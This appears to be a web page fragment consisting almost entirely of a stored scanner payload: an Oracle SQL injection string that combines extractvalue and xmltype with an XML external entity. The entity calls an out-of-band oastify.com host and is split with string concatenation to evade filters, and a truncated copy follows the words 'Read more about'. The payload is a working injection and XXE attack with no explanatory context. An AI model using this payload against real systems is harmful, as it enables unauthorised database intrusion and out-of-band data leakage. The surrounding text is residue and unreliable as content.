(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % ewnvk SYSTEM "http://8170xjteham40f05tohhhhngx730r3lrofg29qy.oasti'||'fy.com/">%ewnvk;]>'),'/l') from dual) Read more about (select extractvalue(xmltype(''),'/l') from dual)